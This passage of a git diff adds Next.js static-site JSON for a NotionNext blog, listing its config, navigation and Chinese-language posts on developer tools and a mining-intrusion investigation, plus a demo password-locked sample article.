db20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-2.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-2.json
new file mode 100644
index 000000000..d9900dd72
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-2.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"Nov 5, 2021","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"Mar 22, 2024","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02&width=800&fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}],"blockMap":{"block":{"041a3743-f888-4476-b947-fff856745c02":{"value":{"id":"041a3743-f888-4476-b947-fff856745c02","version":12,"type":"page","content":["72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a","c51f7f53-67be-4fb5-aee5-427b0cf9819c","1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","10ad4028-c0e3-4095-aa46-81b07349c917","08c43877-2376-4822-87e5-a9a62b39c716","59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f"],"format":{"page_font":"serif","page_cover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9e54f810-a708-40c4-95dd-4810f2e9b017","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1711119054674,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9e54f810-a708-40c4-95dd-4810f2e9b017","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9c